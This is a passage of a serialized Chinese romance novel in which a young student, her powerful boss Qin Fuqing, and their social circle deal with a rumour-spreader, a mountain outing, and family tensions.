这车里总共就三个人,听他的语气不像是对季总说的,那就是在跟她说话。 尽管钟缊酌很惊讶,不理解怎么突然想跟她做交易,但她还是礼貌回道:“您说的交易是指什么?” “后天老季出差,我要去税管所办事儿,你陪我去一趟,我就告诉你关于你的一个秘密。” 这段话信息量太高,钟缊酌大脑一时没转过来,懵了半天,才蹦出一句话:“但我不会开车。” “没说让你开车,我需要旁边坐个人,不然会犯困。” 可是她后天还要上课的呀。 钟缊酌不知道他说的秘密真假,但她也不会就这么翘课。 钟缊酌试图说明她的难处:“几点出发?因为我要上课,所以可能” 秦拂清说:“下午两点。” 她回忆了下课表,周二下午还真没课。 所以这件事理论上对她来说,是没有任何难度的。 钟缊酌想了想,决定跟他做这个交易。 她说:“行,我答应了,您可以告诉我那个秘密了吗?” 其实钟缊酌不指望他能说出什么惊世骇俗的话来,大概就是在古玩馆工作时出现的一些纰漏,但她很好奇在他眼中什么算秘密。 秦拂清这时候将文件收了起来,微微侧过身,胳膊搭在桌板上,“我先声明,以下这段话全为转述,我没有做任何夸张表达和修辞。” 紧接着,他把杜洺说过的话整个复述了一遍。 钟缊酌开始还只皱着眉头,听到后来,她的呼吸开始急促,脸也肉眼可见地整个涨红起来。 不是羞耻,而是极度的愤怒。 此刻如果不是说话的人是秦拂清,她一定会忍不住在中间打断他。 这种造谣已经不是第一次了。 那时钟缊酌刚上高中,隔壁班一个男生对她发起了猛烈追求,平心而论,那个男生长得不错,成绩也很好,但两人并不熟,钟缊酌对他也没什么感觉。 第一次拒绝之后,男生并不气馁,又是送花又是送礼物的,她都一一婉拒,后来有一天,钟缊酌从好友口中得知男生竟在外面说,她是因为嫌弃他穷才会拒绝他。 钟缊酌觉得好笑,她甚至都不知道他家里情况,何来嫌弃? 她本来不想搭理,结果谣言越传越广,最后还是老师出面,弄清事实后,对男生批评教育了一番,这场闹剧才算结束。 钟缊酌想不明白,这件事杜洺怎么会知道? 两人并不是一个学校,但他显然只截取了谣言的部分来讲。 “他什么时候,在哪里说的?还有谁听到?” “昨晚舞会时,在场的还有谈勉和吴少维。” 谈勉和自己没什么交集,如果他真有疑问,以后若若也会替她解释。 至于吴少维,钟缊酌相信他是个聪明人,会做出公正的判断。 所以现在她只要和眼前这位老板解释一下就好,毕竟她还要在他手下工作。 钟缊酌平复下心情,声音铿锵有力:“当时我拒绝那个男生,纯粹是互相不熟悉,对他没什么感觉,后面那些话都是他对我造的谣,最后老师也批评他了,不信您可以去查。” 这种小事查起来对秦拂清来说并不难。 钟缊酌以为他可能对自己的人品产生了怀疑,哪知秦拂清却笑了笑说:“你跟我解释这个干什么?” 哈?不是他主动发出疑问的吗? 钟缊酌小声道:“那您跟我说这个的目的是” 秦拂清无奈扯唇,“我只是单纯告诉你,有人在背后讲你的坏话。” 他眉眼低垂,压住眼底的情绪,“难道你觉得我会蠢到连这点儿判断力都没有?再说,你拜不拜金,跟我又没什么关系,我只需要你好好完成份内的工作。” 钟缊酌仔细琢磨了下,好像也是这么个道理。 她立马又恢复了精神,跟男人保证:“秦总,您放心,我一定会努力工作的。” 转眼车子已到达目的地。 车辆停稳后,钟缊酌微微欠身,再次道谢,然后拖起行李箱,转身上了楼。 “秦总,咱们今天还住这里吗?”季昌压低声音,带着几分小心翼翼。 秦拂清从那抹消失的身影里淡淡收回视线:“不然呢?” “夫人说您从四合院搬走后就没回去过,怪您不惦记家人呢” 季昌已经憋了一路,左思右想还是决定提醒一句,估摸着眼前的正主已经把这事忘了个精光。 秦拂清不露情绪地说:“我那房间不是还没装修完?” “夫人的意思西厢房也能住人” 季昌的语气越来越弱,他已经能感受到他并不是不记得,只是单纯不想回去。 “不急,过几天再说。” “好的。” 季昌那时还不明白为什么非要过几天。 直到后来,他在院儿里开着车子经过一个人时,秦拂清突然冷声说了句“停车”。 季昌对这人有印象,好像是杜家长子。 “让他上来,我跟他说几句话。” 作者有话说:评论区掉落红包~ 第18章 这件事就发生在第二天的清晨。 季昌回忆了一下, 这天秦总似乎比平时晚出来半个小时,平日里雷厉风行的,出现这样的失误,着实让他有些意外。 季昌怕他迟到, 开得速度也比往常快了些, 没想到还没开出大院, 突然听到他喊了声“停车”。 他赶紧踩一脚刹车,随着轮胎与地面摩擦发出“吱”的一声,车子停了下来。 季昌回头去看,发现秦拂清的脸色不太好,有些发冷, 他只有在工作碰到钉子时才会摆出这副表情。 旁边有人走过,秦拂清下巴一抬, “让他上来,我跟他说几句话。” 季昌不敢多问, 立即下车去办。 他对这人也有印象,好像是杜家长子。 季昌走上前, 礼貌问候道:“杜公子, 秦总有话跟你说,还请麻烦到车上耽误几分钟。” 杜洺听完这番话后, 第一反应便是怀疑秦拂清是否认错了人。 尽管杜洺内心巴不得能跟他有一些交集, 但显然不可能, 人家压根儿没正眼瞧过自己。 “您确定秦总找的人是我?” 季昌微笑点头, 随即伸手给他拉开车门, “是的。” 杜洺的心跳开始加快,忍住快要溢出来的兴奋,忙走过去:“不耽误, 反正我也没什么事。” 他上车后,季昌便守在外面,车里只剩下他和秦拂清两人。 杜洺左右望了望,深吸一口气,车内有淡淡的香薰味儿,让他产生了短暂的迷失感。仿佛坐一坐这车,便也能成为和秦拂清一样的大人物。 杜洺谄媚地咧开嘴:“秦总,您找我。” 秦拂清并没有看他,漆黑的目光直视着前方,声音里泛着一丝疏凉:“那日在静谷山庄,你讲钟小姐的话,还记得吗?” 杜洺没想到他要说的是这件事,呼吸紧了紧,略有心虚地“嗯”一声,“记得呢。” 秦拂清语调缓慢地继续问:“如果我没猜错,你应该不是第一次在背后造她的谣了。” 一听到这话,杜洺立即瞪大眼睛,脸上的血色褪去一半。 他活像条被踩了尾巴的狗,连分寸都顾不上了,立即失声反驳:“我没有造谣!我说的都是真的,您不要被她的外表蒙骗了,这丫头看着人畜无害,实际上特别有心机” 杜洺越说越激动,直到对上秦拂清不耐烦地眼神,才乖乖闭上了嘴。 “我不想听你说这些,今天也不是让你来做解释。”秦拂清低眉整理了一下衣领,“你只需要记住一件事,以后,我不希望再听到任何关于她的谣言了,好吗?” 他的声音平和,像是好言好语地在跟他商量,可浑身散发出来的压迫感让人不敢说一个不字。 “好。” 杜洺艰难地从喉咙里挤出这个字,面色僵硬,手心里已捏出了汗。 此时的他怎么也想不通,那位钟小姐到底是怎么做到的,竟能让秦拂清这般维护她。 “对了,在我听不到的地方也不要讲。但凡从院儿里传出一个关乎她负面的谣言,我都默认是你传的,懂了吗?” 季昌已经看了好几次的手表,再不走,他们真的要迟到了。 焦躁万分时,忽然看到车门被打开。 杜洺顶着一张惨白的脸,下来时明显腿软了一下,差点儿摔倒在地。 季昌赶紧扶了他一把。 “杜公子,没事吧?” 都到这个份儿上了,杜洺还得勉强挤出一个笑,“没事,不劳费心。” 季昌不知发生了什么,但他推测,应该跟钟小姐有关。 昨天两人的对话还历历在耳,秦总会不会是在为她出头? 先前总觉得他的那些行为最多是长辈对晚辈的照顾,这一刻,季昌心中终于开始证实了某件事。 怕是以后不能再让钟小姐喊他季总了- 周一下午上完课,钟缊酌从食堂吃完饭回到宿舍,发现宋黎若正躺在床上看电影,没有动过的迹象。 “你怎么还不去吃饭?” 宋黎若表情恹恹地,反应好半天才开口:“一点儿都不饿。” 今晚还有课,两人没回大院,钟缊酌看她的样子不太对劲儿,“昨天不是还活力满满?才返校一天,这不像你的作风呀。” “别提昨天了,丢死人了。” 钟缊酌不明所以,“怎么了?看你朋友圈还以为玩儿得挺好。” “玩儿得是挺好,就是——”宋黎若话没讲完,合上电脑,把头往被子里一钻,“算了不说了,我要睡觉。” “别啊。”钟缊酌走过去,掀开她的被子,“到底怎么了嘛,跟我说说。” 两人又拉扯了一番,宋黎若才终于肯道出原委。 原来,在昨天谈勉教她骑马的时候,竟然不顾男女有别,直接和她同骑一匹马,两人身子几乎紧贴在一起。 虽然这招有用,让她顺利学会了,但宋黎若总觉得哪里怪怪的。 钟缊酌扑闪着睫毛,问:“那他有没有占你便宜?” “怎么才叫占便宜呢,他离得那么近,我觉得算是越界了,但你非要掰扯起来,人家也没做什么过分的事。” 钟缊酌在这方面毫无经验,只能跟着附和,“也是哎。” 两人正沉默着,楚希雅推门走进来,见此情景发出疑问:“你们在这儿大眼瞪小眼的干嘛呢?” 这宿舍里也就楚希雅最擅长分析男人了,宋黎若犹豫片刻,忍不住问她一句:“希雅,如果一个异性朋友对你太没边界感,是不是应该和他绝交?” 楚希雅放下书包说:“那得具体事情具体分析,你可以跟我讲讲他做了什么?” 话已经说出去,宋黎若只能简单把事情经过又复述了一遍。 “这样啊,那他靠近你时,你有没有感到厌恶或者哪里不舒服?” 宋黎若摇头:“没有。” “那就没事,这种模糊的亲密接触,应该是以你的感觉为界限,就算他扶了一下你肩膀,让你觉得不舒服了,那也算过界。” 宋黎若却嘴硬地反驳:“那也有可能是我们认识的时间太久,我对他比较宽容而已。” 这时楚希雅没接着这个话题聊,忽然坏笑一下,靠过来特八卦地问:“这个朋友是不是想追你?” “才不是!”宋黎若脸立刻红了,“他真有那个意思早就行动了,怎么会等到现在!” 楚希雅摸了摸下巴:“因为你知道吧,你们这种背景的朋友,不太可能会不懂边界感,所以他多半是故意的,在试探你对他的触碰反不反感。” 楚希雅到底是过来人,几句话就切中要害。 宋黎若已经开始后悔和她讨论,她做了个打住的动作,飞速下床穿鞋,拿起手机就往外跑。 “干嘛去啊?” “吃饭!饿死了。” “” 周二中午,因为要和秦拂清一起出门,钟缊酌先回了大院。 临近约定时间,她提前换好了衣服,站在阳台上向外望。 两点整的时候,正好看到那辆宾利车缓缓驶来,钟缊酌赶紧跑下楼。 钟缊酌呼吸还没调整好,匆忙拉开副驾驶的门,跟里面的人打招呼:“秦总。” 她发丝被风吹起,有些凌乱地贴在耳鬓处,那姿态却不觉得狼狈,反而生出一股楚楚动人之色。 秦拂清端视几秒后,拍了下椅背,“不用急,系好安全带。” 秦拂清今天看起来心情不错,穿了件白衬衫,头发整整齐齐地疏到了脑后,整个人精神焕发。 见小姑娘坐好后,好心提醒一句:“路程比较远,你若是晕车的话提前说一声。” 钟缊酌也诚恳回答:“嗯,我从小就没晕过车,您放心。” 这一路确实挺坎坷,两个小时的车程,后半段还都是盘山路,钟缊酌料是没想到,这税管所竟然会驻扎在山区里。 秦拂清解释说:“他们喜欢待在清幽一点的地方,做这种工作的,最怕常有人来打扰。” 钟缊酌这边也一直在努力寻找话题,她不敢聊太私人的东西,只能讲一些无关痛痒的事。 到最后实在没得讲了,便问他想不想听歌。 秦拂清嫌弃道:“不想,我若是听歌能解困的话,还叫你来做什么。” 钟缊酌“噢”一声,实在没辙了,只能拿出最后的杀手锏。 她开始聊起了社会新闻和国际局势。 按理说这正是他擅长的东西,应该很有倾诉欲,可从始至终,秦拂清都没有发表任何看法,只安静地听她讲。 钟缊酌开始还挺自信的,到后来越说越心虚,在想他会不会在心里憋笑呢,觉得她的想法傻透了。 “我讲完了。”她说。 秦拂清只轻轻点头:“在同龄人里面,你算懂得多的。” “啊?就这样啊。” “不然呢。” 在同龄人里面懂得多,也就是在他这样年纪的人里,还是远远比不上。 钟缊酌忽然在想,会不会正因为他有这样的家庭背景,所以才不敢轻易发表看法。万一所说的观点被人恶意解读,那麻烦就大了。 两人东扯一句西扯一句的,转眼间,车子终于到达了目的地。 钟缊酌透过玻璃窗向外望,那办公楼搭建得像一座远离尘嚣的寺庙,果真是相当清幽的环境了。 “这个地方你不方便进去,在车上等我。” “好的。” 钟缊酌以为要等很久,趁机眯了一会儿,结果不到一个小时,他人就出来了。 还是秦拂清把她叫醒的。 钟缊酌挺尴尬地坐起来,用手拢了拢头发,“抱歉,我没想到您这么快。” 听到这句话,秦拂清眉峰稍抬,莫名顿了一瞬。 他倒是也没说什么,还一本正经地给她传授经验:“不要小看这几十分钟的短暂交流,能解决很多问题,等你工作以后就明白了。” “噢。” 车子启动后,秦拂清又问了一句:“饿不饿?” 根据钟缊酌从学姐那里得来的经验,往往领导这么问,就代表他自己饿了。 她模棱两可地回了句:“还行,有一点。” 秦拂清将方向盘一打,“那去吃个饭吧,这附近有家烤鱼,味道不错。” 说是在这附近,可又足足开了二十分钟,钟缊酌才看到那碧瓦朱甍的中式建筑。 从外观看,算是挺有格调的一家饭店,没想到在这深山老林中,还能看到如此雅致的风景。 “饭店后面有一处观景区,可以瞭望远方层层群山,老板就是赚路过游客的钱。”秦拂清看出她的疑虑,主动解释起来。 原来如此。 钟缊酌好奇追问:“那能回本嘛?来这边旅游的人好像并不多。” 秦拂清笑了下,“我猜萧老板不会在意,一会儿你就知道了。” 等钟缊酌进了饭店,在柜台前见到他口中的那位萧老板,才彻底明白这句话的含义。 那是一个三十多岁的青年,穿一件藏蓝色中式长衫,戴着圆框眼镜,刘海遮住前额,后面还扎了个马尾。 好一副玉树临风,潇洒不羁的模样。 看他的气质,确实应该不会在意金钱这种东西。 “秦先生,今儿不是一个人来啊。”男人张嘴便是一口的京腔,他走到桌前,仔细瞧了瞧,“呦呵,是位小女友。” 被这样调侃,钟缊酌脸颊立刻灼烧起来,也不知道他是故意开玩笑还是乱点鸳鸯谱。 秦拂清倒是淡定,先给两人倒了杯茶,才慢悠悠解释开来:“给我添乱就算了,人家小姑娘的清白可不容你玷污。” 萧老板笑说:“给我扣这么大帽子啊,那我不得拉出去打四十大板。” 秦拂清也接着话头戏谑:“我看直接斩首最好。” 两人看上去挺熟,钟缊酌胡乱猜想着,秦总应该也是这里的常客。 “还给您上条清江鱼?”萧老板推了推眼镜说。 秦拂清手指敲着桌子,“你们这儿也没个新鲜品种啊。” “新鲜品种?那草鱼黑鱼您也瞧不上眼,噢对,最近是来了几条江团,您尝尝?” 秦拂清颔首,“行,就它吧。” 又点了几道配菜,秦拂清似是想起什么,看向对面的女孩,轻声问:“你能吃辣吗?” 钟缊酌以为他想吃辣,痛快道:“可以。” 其实秦拂清往常让做的都是酱香味儿,他不怎么能吃辣。 正犹豫着,又听到萧老板揶揄道:“小女友好不容易来一次,还不依着人家口味儿。” 秦拂清掀起眼皮,不动声色睨了他一眼。 大抵是懒得争辩了,颇为无奈地合上菜单:“做微辣吧。” 钟缊酌看出秦总拿这位萧老板很是没辙,这倒挺新鲜,要知道在京中,有哪个敢开秦拂清这样的玩笑。 她便也没再计较这些言语,双手捧起茶,小口啜起来。 哪知,秦拂清端正坐好后,像是有些心事似地,面上露出几分迟疑来。 待钟缊酌放下杯子,他微微抬头,很郑重地跟她解释:“我这个朋友性情就是如此,别介意。” 作者有话说:评论区掉落红包~ 第19章 和秦拂清这样的人吃饭, 钟缊酌多少还是有一些压力的。 她不敢吃得太快,像个大家闺秀似地一板一眼夹菜,怕领导觉得她没教养。 这时候就想起了父亲教导过自己的话,女孩子要站有站相坐有坐相。 从前她不喜欢听他讲这些, 便故意不好好学规矩, 还故意翘二郎腿, 害父亲拿起鸡毛掸子才肯放下来。 钟缊酌脑子里在乱七八糟想事情的时候,秦拂清又给她倒了一杯饮料。 这已经是今天第二次帮她倒水了。 钟缊酌赶紧放下筷子,用湿巾擦了擦手,起身接过杯子:“我自己来就好,不用麻烦您。” “你不知道老板在外面都是哄着员工的。”秦拂清慢条斯理地挑出一块鱼刺, 煞有介事的样子,“不然谁给他好好干活。” 竟然是这样吗? 钟缊酌觉得不可思议, 又想起之前见过那些人对他的态度,感觉他在忽悠她。 她小声问:“体制内也如此吗?” 秦拂清说:“体制内不这样。” “” “但我没给你编制对不对。”秦拂清扯唇笑了笑, “和对待他们还是不能一样的。” 他说的头头是道,把对她的好全部编排得有理有据, 让钟缊酌不得不接受这份特殊的照顾。 钟缊酌也看出来了, 秦拂清确实不大能吃辣,他似乎是在强忍着做表情管理, 眼尾已微微泛红, 嘴唇也红了一圈, 像是受了委屈还不能说出来。 钟缊酌心里莫名想笑。 “看我出糗这么开心。”秦拂清拿纸巾擦了擦嘴。 没想到他这么快言快语, 钟缊酌愣了愣, 她有表现得那么明显吗? 她低下头,强迫自己想一遍悲伤的事,压住唇角去拿饮料:“没有的事, 您多喝水,我给您满上。” 两人吃饱喝足,结账的功夫,萧老板提议他们去观景台看看。 这个季节的黄栌,元宝枫叶子都逐渐变色,整个山头姹紫嫣红地特别美。 “记得给小女友拍几张照片。”萧老板靠在吧台前意味深长地笑。 这人不仅胆子大,什么都不吝,还碎嘴子。 钟缊酌看了眼秦拂清,他正面不改色地跟他挥手告别。 她便也学着秦拂清的样子,权当什么都没听到,快速从吧台走过。 这一带的山林确实漂亮。 刚刚入秋,枫叶还未全部染红,七零八落地红了个边角,像是从油画里走出的渐变色。 钟缊酌整个人沉浸在这一片美景中,驻足了片刻,忍不住拿起手机开始拍照。 她拍照的技术不怎么好,构图也缺乏专业性,糊弄糊弄外人可以,但在秦拂清这样审美水平极高的人眼里,就是难以忍受的程度了。 于是他走过去,站在她的身后说:“需不需要我帮忙?” “嗯?”钟缊酌没理解什么意思。 “我对构图有些研究,可以帮你找角度。” “噢噢,可以啊。” 反正她也只想留些好看的照片,没有非要自己探索的欲望。 钟缊酌以为接下来会是口头指挥,还等着他开口。 没想到秦拂清直接伸出右手,手指覆上她手机边缘,这样一来,两人的手臂便紧紧贴在了一起。 他身上的温度传来,皮肤间结实的触感让钟缊酌呼吸一滞。 所以这是打算手把手教她吗? 若是在以前,钟缊酌对这样的触碰并不会想太多,毕竟帮忙的时候难免发生一些肢体接触。 可她偏偏刚听完楚希雅的分析,那句话还萦绕在耳边—— 男人在有意无意贴近你时,往往是在测试你对他的触碰是否反感。 他明明可以嘴上指挥她,却非要亲自上手。 意识到这件事,钟缊酌的思绪立马慌乱起来。 因为太紧张,手机也拿不稳了,指尖掐得通红。 她甚至觉得,如果秦拂清没有帮她一起拿着,那手机分分钟能摔到地上。 耳边的风声渐渐远离,像是有一道无形的屏障,将两人包裹住,与外面的世界隔离开来。 钟缊酌就在这样恍惚飘渺的状态下,察觉到身后的人放轻了呼吸,噙着温润的嗓音说:“还不松手?” 嗯? 难道他的意思是要直接帮她拍? 钟缊酌睁大眼睛,在这一瞬间突然明白了他的用意。 她遮掩着情绪,假装愣神几秒,迅速撤回手,“好的,谢谢。” 钟缊酌顺势往旁边挪了几步,眼睛一动不动盯着屏幕,身体半倾,那样子像是在认真听他讲解构图思路。 实际上,脑子已经跑到了十万八千里之外。 所以她刚刚在想些什么乱七八糟的事情啊! 秦拂清怎么会想要试探她?他闲透了也不会做出这样的事。 钟缊酌快被自己离谱的脑洞羞耻死了。 好在秦拂清没怎么在意她脸色的异常,拍好之后将手机还给她,很淡定地看了眼时间:“差不多了,我们回去吧。” 钟缊酌点点头,不经意地舔了下有些发干的嘴唇。 蜿蜒的小路中央,两人一前一后走着。 落日的余晖洒在男人肩头,将影子拉长,整个覆盖在少女的身上- 几天后,胡同里的槐树叶涂了黄,秦拂清才裹着一身寒潮,迈进那扇朱红色大门。 前庭那片用栅栏围起来的土地里,廖霖正在翻着泥土,秦拂清走过去,看到他手里捧着一撮花籽。 他问:“这是什么花种?” 廖霖太过于专注,才注意到来人,赶紧起身:“是桂花种,夫人挑选的,说是黄色的桂花象征着飞黄腾达。” 秦拂清微微颔首,没发表什么意见,只叮嘱一句:“廖叔,您年纪大了,以后这些事交给园丁来做就好。” 廖霖咧嘴笑笑:“还没老到那个地步,一些轻活儿还是能帮上忙的。” 末了,他像是想到了什么,犹豫着要不要开口时,秦拂清已经踱步走进了垂花门。 廖霖自言自语着,也不知道老爷夫人还在没在气头上。 这边的秦拂清来到客厅,坐在一把太师椅上闭目养神。 伍钰迎上来,给他泡了壶热茶:“您可算回来了,老爷和夫人这几日一直在念叨呢,说您一走就忘了家人,连个话也不回” 这些事情其实他早已知晓,袁书礼今年刚退休,在家里闲来无事,关注点净放在他身上了。 但秦拂清还是耐着性子听她讲完,最后睁开眼问:“我母亲在正房休息呢?” “是呢,她最近都要躺到快十点才起,说是没精神,头晕,找朱大夫检查过,没什么问题,我方才熬了些红枣桂圆汤给夫人。” “好,我知道了。” 秦拂清知道母亲身体的情况,常年都很健康,多半儿是因为在生他的闷气。 走到门口,他又折回来,“汤熬好了吗?” 伍钰说:“熬好了,就是还有点烫。” “端来吧,我送过去。” “行,我给您拿个托盘。” 袁书礼是侧身面冲着墙壁躺着的,她听到门口的脚步声,没顾得上那细微的差别,还以为是伍钰来了:“别给我端药,我不喝。” 秦拂清将托盘放在方桌上,走过去蹲在床边,轻轻拍了拍被子:“妈,是我。” 袁书礼听到声音,转过身去,短暂愣神几秒,瞪着他说:“今天怎么舍得回来了?你不是工作忙吗?” “工作再忙也得看看家人。” “胡扯,你以为我什么都不知道啊。”袁书礼两手按住床边,气得直接坐了起来,“你这段时间正事不干,天天往那公子哥们的聚会跑,忙什么了?” “这又是听谁乱说的。” “你管我听谁说的,还能冤枉你啊。” 其实不用问,秦拂清也知道会是谁出卖了他。 那些小辈们定是不敢的,他们也犯不着为这事去找傅沅宗,除此之外,他身边就只剩下那一个人。 秦拂清拽了把椅子过来,坐在旁边,诚恳地跟母亲认错:“妈,这段时间忽略你们是我的错,但我不是沉溺于酒池肉林,是为了结交朋友。” 袁书礼还是不信,“你什么时候有这份心思的,不是最讨厌拉帮结派吗?” “不是拉帮结派,是向年轻人学习一些新的视角看问题。” 见母亲不出声了,只是脸还耷拉着,秦拂清耐心解释:“现在的社会变化太快,我们得学会适应。” “对了,这次回来给您带了手工做的凤梨酥,您最爱吃的,一会儿尝尝合不合口味。” 袁书礼哼了一声,没给他好脸色,话却软了下来,“提起这个我还真饿了,早上没吃饭,现在拿来吧。” 秦拂清微微一笑,站起身,从桌上端起那碗温度刚刚好的红枣桂圆汤说:“在这之前,您得先把这碗汤喝了。” 应付完袁书礼,秦拂清也没松懈下来。 他知道,母亲虽然爱生气唠叨,但也算好哄,真正难搞的是父亲那边。 晚上七点钟,暮色沉下来,高墙内笼罩着静谧的月光。 一家人坐在客厅的餐桌前吃饭。 秦政庭反常地没提起他这段时间失联的事,只简单聊了些家常。 而秦拂清心里清楚,父亲越是这样的态度,越代表还有更严重的后果。 就在他快要吃完时,秦政庭忽然问了几句他近期工作的情况。 秦拂清一一如实回答,父亲又问:“你最近在做什么项目?” “给京大投资了智能机器人设计大赛,预计明年春天收尾。” “还有别的吗?” “暂时没有。” 秦政庭当即把筷子往桌上一摔,厉声质问:“你就只会关注这一个行业是吧?忘了你们单位干什么的!” 这一声把旁边的袁书礼都吓一跳。 秦拂清默默放下碗筷,知道他不是真的在为这么点儿事发脾气。只是在警告他,任何时候都要把工作内容放在第一位,别想走那些歪门邪道。 他往椅子上一靠,态度端正,却也不放低姿态:“我最近还在收集医疗和能源的相关资料,已经开始着手组织研讨会。” 中治的业务覆盖了各类行业的投资开发,而事实上,谈项目合作只是秦拂清工作内容里的冰山一角。 父亲这些年的脾气是跟着他的官职一样渐长的。 秦家就这么一个独子,父母寄予他厚望,秦拂清能理解。 可他这么大年纪一个人了,做事还要处处受他们约束,他心里也烦。 秦拂清曾经和傅沅宗谈到过这事,他说除非你不走这条路,否则你要用父亲的关系,就得受他的管教。 当时秦拂清给的态度是,他不需要父亲的关系,自己的能力足够。 傅沅宗回他:“你事业向上的时候当然不需要,你看看等你哪天被人背刺了,出了事的时候还需不需要。” 这话不错。 谁都不能保证仕途里不碰上个小人,圈子里得到的消息比外界多,谁谁哪天被双开了,谁谁哪天又进去了,是常有的事。 这条路就像过独木桥,步履薄冰的,但光你自己走得稳还不行,还要注意身前身后的人不拖后腿。 袁书礼不想爷俩在饭桌上把气氛闹得太僵,紧跟着劝了几声,秦政庭的火气才算消下来。 末了他补充一句:“这段时间别的事情先放一放,把精力投入到工作上。” 第二天的工作日,秦拂清比平时早起了一会儿。 坐上车后,车内的两人足足对着沉默了二十分钟。 季昌心里打哆嗦,踩油门的腿都开始发软。 “怎么不说话?”秦拂清给他递了台阶。 季昌失笑:“怕打扰您休息。” “我也没闭眼啊。”秦拂清声音慢条斯理地,压迫感却十足,“是不知道说什么,还是不敢说?” 季昌知道瞒不过去了,干脆主动招供:“老爷问您最近在做什么,我也不敢编瞎话,毕竟当时还有很多人在场,万一以后被发现了,那只会对您更不利。” 其实他说的没错,秦拂清明白就算季昌不出卖他,父亲也会去别人那儿查。 所以这份闷气到最后只能跟自己生。 到了单位楼下,秦拂清没让进车库,从中控台掏出一根烟抽起来。 他掸了掸烟灰:“我再问你,除了参加聚会这事儿,你还说了别的吗?” 季昌不傻,自然明白他问的是哪件事。 但他纠结要不要说出那个名字。 秦拂清像是等得不耐烦了,眉头皱起:“你别告诉我你听不懂。” “听得懂!”季昌深呼吸,一口气顺完,“您放心,钟小姐的事我半个字都没说,打死我也不会说。” 这件事除了秦拂清自己,也就只有他知道了。 季昌心道,这若是搁古代,那就等着被灭口吧。 “我这阵子要回四合院住一段时日,以后每天早出来十分钟。” 四合院那边距离单位更远些,季昌心领神会:“明白。” 秦拂清眉宇间凛若冰霜,一身皓玉般的清贵气。 自甘堕落般地囫囵抽完了一整根烟,才冲季昌打了个手势:“进去吧。” 作者有话说:评论区掉落红包~ 第20章 十一假期期间, 钟缊酌收到一则邀请,说是吴少维让她和宋黎若两人去他家老宅子坐坐。 她从宋黎若嘴里得知,原来吴少维的父母早已分居,目前父亲和他在大院里住, 母亲一人住在老宅子里。 钟缊酌不由得想起, 那次吴少维来家里做客, 给陶姨的礼物是第二天送来的,想必还特意回了老宅拿一趟。 吴少维开车载着两人,从大院一路出发。 开了大约一个钟头后,他将车停在了一栋老式二层洋楼前,说:“到了。” 宋黎若伸了个懒腰, “还不近呐。” 吴少维笑了笑:“已经很好了,至少还在一个城市, 我能随时来看看。” “诶呦,可算到了, 你不晓得我盼了好久嘞。” 钟缊酌抬头,看到一个很有气质的女人站在门口, 身上披了件羊绒披肩, 正热情冲她们招手。 两人齐齐喊了声阿姨好。 “妈,外面凉, 您进屋里。” 吴少维锁好车, 走上前将李婉直往里面推, “都是熟人, 不用出来接。” “我这不是想你了嘛, 都过这么久了还不来瞧瞧。” “哪里的话,我上周才来过。” “你也晓得呀,都过一周了” 钟缊酌和宋黎若跟在后面走, 两个姑娘很知礼节的各自准备了礼物,李婉接过后道了声谢,忙吩咐人去泡茶。 几人坐在两张真皮沙发上,互相寒暄几句,接下来基本就是李婉在唠家常。 让钟缊酌惊讶的是,李婉身上没有那种中年离异后常见的颓丧感,反而像个涉世未深的小公主,明艳又鲜活。 吃了些糕点,吴少维提出去院子里走走。 后园种植了一大片的广玉兰,只是这个季节花期已过,已经开始结了果子。 宋黎若蹲下来摸了摸那果种,问了句:“少维,听阿姨的口音好像不是京市人?” 吴少维点头:“对,我母亲是上海人。” 难怪,钟缊酌总觉得阿姨身上有种江南女子的娇俏感,举手投足间也韵味十足。 宋黎若又接着问:“那现在这种情况,没考虑过回上海呀?” 这话听起来或许不中听,但吴少维知道宋黎若性格直爽,讲话也是就事论事,因此并不在意。 “我母亲和父亲当初在一起时家里就不同意,后来算是闹得很不愉快了,她现在也觉得没脸回娘家,好歹父亲给了足够的钱,够她在京市好好生活。” 吴少维不想气氛沉浸在这种父母间的爱恨情仇里,又扯了些别的话题。 临走前,李婉给两人分别送了件崭新的披肩,她的眼光很好,搭配的颜色也特别符合她们各自的气质。 “以后记得和少维常来看看阿姨呀。” “好啊,没问题。” 回去的路上,钟缊酌困意渐起,忽然间听到吴少维喊了她一声:“缊酌。” 她立马抬头:“嗯?” 他看上去有些迟疑,又短暂沉默几秒,才道:“杜洺以前是不是经常找你麻烦?” 钟缊酌惊讶他怎么突然说起这个事儿,而且,按理说他也不应该知道这些。 一时间,她不知道该先回答他还是先提出自己的疑问。 “对,但是你怎么知道的啊?”宋黎若快人快语,抢先替她问了出来。 吴少维抿了下唇,似乎内心在做挣扎,最后还是选择讲实话:“静谷山庄那次聚会,杜洺在背后说了缊酌不好听的话,我就猜想他是不是以前也这么干过。” 宋黎若立马尖声怒骂:“他说了什么?我就知道有他在准没好事发生!都怪谈勉,非得邀请他!” 吴少维:“没事,已经过去了,我查过他确实是在造谣” 他的话没说完,突然意识到自己说漏了嘴。 吴少维顿了顿,立马转移到另一个话题:“缊酌,所以他为什么要针对你呢?” 钟缊酌淡声回答:“我们没有什么实际矛盾,大概就是不合眼缘,天生看我不顺眼吧。” 宋黎若也愤愤地替她讲:“他们那对兄妹你还不知道,欺软怕硬,看谁没后台就欺负谁” 宋黎若叽里咕噜说了一堆,钟缊酌却没心情在听了。 刚刚吴少维说他去查过,意思是他去她学校查了吗?因为只有这样,才能证实杜洺在说谎。 不知道为什么,钟缊酌心里有些不舒服。 他去背后调查这些,就代表他并不信任她。 但没一会儿,钟缊酌又开始反思自己会不会太矫情了,人家毕竟跟你不熟,他们这种人,交朋友是很谨慎的。 如果知道你是一个道德败坏之人,定不会继续和你交往。 宋黎若住的楼近些,先下了车,等车上只剩下两人时,钟缊酌明显感觉到吴少维整个人变得局促起来。 她说不清那种感觉,就好像他也知道自己那么做是不对的,透出一种被揭穿后的心虚感。 “我到了少维,今天谢谢你。” “应该的。” 两人客气地道了别,钟缊酌正要关车门,听到吴少维在背后喊她:“缊酌。” 钟缊酌回头,两人的视线对上后,吴少维默了好一会儿。 最后也只轻轻叮嘱一句:“以后若是杜家再有人找你麻烦,你告诉我,我会给你撑腰。” 钟缊酌欲言又止,还是没把心里话说出来。 她冲他点点头,然后转身跑上了楼。 十一假期刚结束,京里就发生了一件大事。 说是这段时间上面扫黄打非,突击了各个会所,结果就端掉好几家聚众淫/乱的。 这件事发生之后,进去了很多负责人,其中有一家会所,是吴少维投资开的。 因他早就把经营人转给了朋友,所幸没有被牵连到,没想到那个朋友一时色欲上头,差点儿害死他。 但这件事在圈内传开,还是让吴家蒙了羞。 吴老爷子知道后气得把吴少维痛骂了一顿,罚他不准吃饭,在家里闭关思过。 